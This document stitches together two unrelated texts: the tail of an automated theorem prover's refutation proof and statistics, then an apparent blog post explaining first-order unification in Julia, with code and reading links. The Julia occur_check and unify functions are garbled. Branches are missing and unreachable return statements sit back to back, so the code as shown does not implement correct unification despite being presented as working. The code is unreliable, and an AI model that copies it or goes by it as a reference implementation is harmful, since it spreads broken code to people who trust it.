(commute_square(X1,X2,esk11_0,esk4_1(esk13_0))|~comp(X1,X2,esk1_2(esk11_0,esk4_1(esk13_0)))), inference(spm,[status(thm)],[c_0_57, c_0_58])). cnf(c_0_63, negated_conjecture, (cod(esk1_2(esk11_0,esk4_1(esk13_0)))=cod(esk11_0)), inference(spm,[status(thm)],[c_0_37, c_0_58])). cnf(c_0_64, negated_conjecture, (esk1_2(esk12_0,esk3_1(esk13_0))=esk1_2(esk11_0,esk4_1(esk13_0))|~comp(X1,esk3_1(esk13_0),esk4_1(esk13_0))|~comp(esk11_0,X1,esk12_0)), inference(spm,[status(thm)],[c_0_59, c_0_58])). cnf(c_0_65, negated_conjecture, (comp(esk12_0,esk2_1(esk13_0),esk1_2(esk12_0,esk2_1(esk13_0)))), inference(spm,[status(thm)],[c_0_60, c_0_52])). cnf(c_0_66, negated_conjecture, (X1=esk7_6(cod(esk11_0),esk11_0,esk12_0,esk13_0,X2,X3)|~commute_square(cod(esk11_0),X2,esk11_0,X3)|~comp(esk13_0,X1,X3)|~comp(esk12_0,X1,X2)), inference(spm,[status(thm)],[c_0_61, c_0_16])). cnf(c_0_67, negated_conjecture, (commute_square(cod(esk11_0),esk1_2(esk11_0,esk4_1(esk13_0)),esk11_0,esk4_1(esk13_0))), inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_62, c_0_26]), c_0_63])). cnf(c_0_68, negated_conjecture, (esk1_2(esk12_0,esk3_1(esk13_0))=esk1_2(esk11_0,esk4_1(esk13_0))), inference(cn,[status(thm)],[inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_64, c_0_48]), c_0_40])])). cnf(c_0_69, negated_conjecture, (esk1_2(esk12_0,esk2_1(esk13_0))=X1|~comp(X2,esk2_1(esk13_0),X3)|~comp(X4,X2,esk12_0)|~comp(X4,X3,X1)), inference(spm,[status(thm)],[c_0_54, c_0_65])). cnf(c_0_70, negated_conjecture, (X1=esk7_6(cod(esk11_0),esk11_0,esk12_0,esk13_0,esk1_2(esk11_0,esk4_1(esk13_0)),esk4_1(esk13_0))|~comp(esk12_0,X1,esk1_2(esk11_0,esk4_1(esk13_0)))|~comp(esk13_0,X1,esk4_1(esk13_0))), inference(spm,[status(thm)],[c_0_66, c_0_67])). cnf(c_0_71, negated_conjecture, (comp(esk12_0,esk3_1(esk13_0),esk1_2(esk11_0,esk4_1(esk13_0)))), inference(rw,[status(thm)],[c_0_55, c_0_68])). cnf(c_0_72, negated_conjecture, (esk1_2(esk12_0,esk2_1(esk13_0))=esk1_2(esk11_0,esk4_1(esk13_0))|~comp(X1,esk2_1(esk13_0),esk4_1(esk13_0))|~comp(esk11_0,X1,esk12_0)), inference(spm,[status(thm)],[c_0_69, c_0_58])). cnf(c_0_73, negated_conjecture, (esk7_6(cod(esk11_0),esk11_0,esk12_0,esk13_0,esk1_2(esk11_0,esk4_1(esk13_0)),esk4_1(esk13_0))=esk3_1(esk13_0)), inference(cn,[status(thm)],[inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_70, c_0_40]), c_0_71])])). cnf(c_0_74, negated_conjecture, (esk1_2(esk12_0,esk2_1(esk13_0))=esk1_2(esk11_0,esk4_1(esk13_0))), inference(cn,[status(thm)],[inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_72, c_0_48]), c_0_38])])). cnf(c_0_75, negated_conjecture, (X1=esk3_1(esk13_0)|~comp(esk12_0,X1,esk1_2(esk11_0,esk4_1(esk13_0)))|~comp(esk13_0,X1,esk4_1(esk13_0))), inference(rw,[status(thm)],[c_0_70, c_0_73])). cnf(c_0_76, negated_conjecture, (comp(esk12_0,esk2_1(esk13_0),esk1_2(esk11_0,esk4_1(esk13_0)))), inference(rw,[status(thm)],[c_0_65, c_0_74])). cnf(c_0_77, plain, (monic(X1)|esk2_1(X1)!=esk3_1(X1)), inference(split_conjunct,[status(thm)],[c_0_28])). cnf(c_0_78, negated_conjecture, (esk3_1(esk13_0)=esk2_1(esk13_0)), inference(cn,[status(thm)],[inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_75, c_0_38]), c_0_76])])). cnf(c_0_79, negated_conjecture, ($false), inference(sr,[status(thm)],[inference(spm,[status(thm)],[c_0_77, c_0_78]), c_0_32]), ['proof']).
# SZS output end CNFRefutation
# Proof object total steps             : 80
# Proof object clause steps            : 57
# Proof object formula steps           : 23
# Proof object conjectures             : 44
# Proof object clause conjectures      : 41
# Proof object formula conjectures     : 3
# Proof object initial clauses used    : 18
# Proof object initial formulas used   : 11
# Proof object generating inferences   : 34
# Proof object simplifying inferences  : 16
# Training examples: 0 positive, 0 negative
# Parsed axioms                        : 14
# Removed by relevancy pruning/SinE    : 0
# Initial clauses                      : 31
# Removed in clause preprocessing      : 0
# Initial clauses in saturation        : 31
# Processed clauses                    : 4871
# ...of these trivial                  : 248
# ...subsumed                          : 2833
# ...remaining for further processing  : 1790
# Other redundant clauses eliminated   : 2
# Clauses deleted for lack of memory   : 0
# Backward-subsumed                    : 68
# Backward-rewritten                   : 917
# Generated clauses                    : 12894
# ...of the previous two non-trivial   : 12112
# Contextual simplify-reflections      : 0
# Paramodulations                      : 12870
# Factorizations                       : 0
# Equation resolutions                 : 24
# Propositional unsat checks           : 0
#    Propositional check models        : 0
#    Propositional check unsatisfiable : 0
#    Propositional clauses             : 0
#    Propositional clauses after purity: 0
#    Propositional unsat core size     : 0
#    Propositional preprocessing time  : 0.000
#    Propositional encoding time       : 0.000
#    Propositional solver time         : 0.000
#    Success case prop preproc time    : 0.000
#    Success case prop encoding time   : 0.000
#    Success case prop solver time     : 0.000
# Current number of processed clauses  : 772
#    Positive orientable unit clauses  : 155
#    Positive unorientable unit clauses: 0
#    Negative unit clauses             : 1
#    Non-unit-clauses                  : 616
# Current number of unprocessed clauses: 5468
# ...number of literals in the above   : 16715
# Current number of archived formulas  : 0
# Current number of archived clauses   : 1016
# Clause-clause subsumption calls (NU) : 303883
# Rec. Clause-clause subsumption calls : 253866
# Non-unit clause-clause subsumptions  : 2890
# Unit Clause-clause subsumption calls : 1530
# Rewrite failures with RHS unbound    : 0
# BW rewrite match attempts            : 1110
# BW rewrite match successes           : 80
# Condensation attempts                : 0
# Condensation successes               : 0
# Termbank termtop insertions          : 267453

## Unification in Julia

Unification is a workhorse of symbolic computations. Comparing two terms (two syntax trees with named variables spots) we can figure out the most general substitution for the variables to make them syntactically match.

It is a sister to pattern matching, but it has an intrinsic bidirectional flavor that makes it feel more powerful and declarative.

Unification can be implemented efficiently (not that I have done so yet) with some interesting variants of the disjoint set / union-find data type.

• The magic of Prolog is basically built in unification + backtracking search.
• The magic of polymorphic type inference in Haskell and OCaml comes from unification of type variables.
• Part of magic of SMT solvers using the theory of uninterpreted functions is unification.
• Automatic and Interactive Theorem provers have unification built in somewhere.

To describe terms I made a simple data types for variables modelled of those in SymbolicUtils (I probably should just use the definitions in SymbolicUtils but i was trying to keep it simple).

#variables
struct Sym
name::Symbol
end

struct Term
f::Symbol
arguments::Array{Any} # Array{Union{Term,Sym}} faster/better?
end

The implementation by Norvig and Russell for the their AI book is an often copied simple implementation of unification. It is small and kind of straightforward. You travel down the syntax trees and when you hit variables you try to put them into your substitution dictionary. Although, like anything that touches substitution, it can be easy to get wrong. See his note below.

I used the multiple dispatch as a kind of pattern matching on algebraic data types whether the variables are terms or variables. It’s kind of nice, but unclear to me whether obscenely slow or not. This is not a high performance implementation of unification in any case.

occur_check(x::Sym,y::Term,s) = any(occur_check(x, a, s) for a in y.arguments)

function occur_check(x::Sym,y::Sym,s)
if x == y
return s
return occur_check(x, s[y], s)
else
return nothing
end
end

function unify(x::Sym, y::Union{Sym,Term}, s)
if x == y
return s
return unify(s[x], y, s)
elseif haskey(s,y) # This is the norvig twist
return unify(x, s[y], s)
elseif occur_check(x,y,s)
return nothing
else
s[x] = y
return s
end
end

unify(x::Term, y::Sym, s) = unify(y,x,s)

function unify(x :: Term, y :: Term, s)
if x.f == y.f && length(x.arguments) == length(y.arguments)
for (x1, y1) in zip(x.arguments, y.arguments)
if unify(x1,y1,s) == nothing
return nothing
end
end
return s
else
return nothing
end
end

unify(x,y) = unify(x,y,Dict())

I also made a small macro function for converting simple julia expressions to my representation. It uses the prolog convention that capital letter starting names are variables.

function string2term(x)
if x isa Symbol
name = String(x)
if isuppercase(name[1])
return Sym( x)
else
return Term( x, []  )
end
elseif x isa Expr
arguments = [string2term(y) for y in x.args[2:end] ]
return Term( x.args[1], arguments )
end
end
macro string2term(x)
return :( \$(string2term(x)) )
end

print(unify( @string2term(p(X,g(a), f(a, f(a)))) , @string2term(p(f(a), g(Y), f(Y, Z)))))
# Dict{Any,Any}(Sym(:X) => Term(:f, Any[Term(:a, Any[])]),Sym(:Y) => Term(:a, Any[]),Sym(:Z) => Term(:f, Any[Term(:a, Any[])]))`

Unification: Multidisciplinary Survey by Knight https://kevincrawfordknight.github.io/papers/unification-knight.pdf

https://github.com/roberthoenig/FirstOrderLogic.jl/tree/master/src A julia project for first order logic that also has a unification implementation, and other stuff

An interesting category theoretic perspective on unification http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.48.3615 what is unification by Goguen

There is also a slightly hidden implementation in sympy (it does not appear in the docs?) http://matthewrocklin.com/blog/work/2012/11/01/Unification https://github.com/sympy/sympy/tree/master/sympy/unify

http://norvig.com/unify-bug.pdf

Efficient unification note
ftp://ftp.cs.indiana.edu/pub/techreports/TR242.pdf

Efficient representations for triangular substitituions
https://users.soe.ucsc.edu/~lkuper/papers/walk.pdf

conor mcbride – first order substitition structurly recursive dependent types

z3 unifier – an example of an actually performant unifier
https://github.com/Z3Prover/z3/blob/520ce9a5ee6079651580b6d83bc2db0f342b8a20/src/ast/substitution/unifier.cpp

Warren Abstract Machine Tutorial Reconstruction http://wambook.sourceforge.net/wambook.pdf

Handbook of Automated Reasoning – has a chapter on unification

Higher Order Unification – LambdaProlog, Miller unification

Syntax trees with variables in them are a way in which to represent sets of terms (possibly infinite sets!). In that sense it asks can we form the union or intersection of these sets. The intersection is the most general unifier. The union is not expressible via a single term with variables in general. We can only over approximate it, like how the union of convex sets is not necessarily convex, however it’s hull is. This is a join on a term lattice. This is the process of anti-unification.

What about the complement of these sets? Not really. Not with the representation we’ve chosen, we can’t have an interesting negation. What about the difference of two sets?

I had an idea a while back about programming with relations, where I laid out some interesting combinators. I represented only finite relations, as those can be easily enumerated.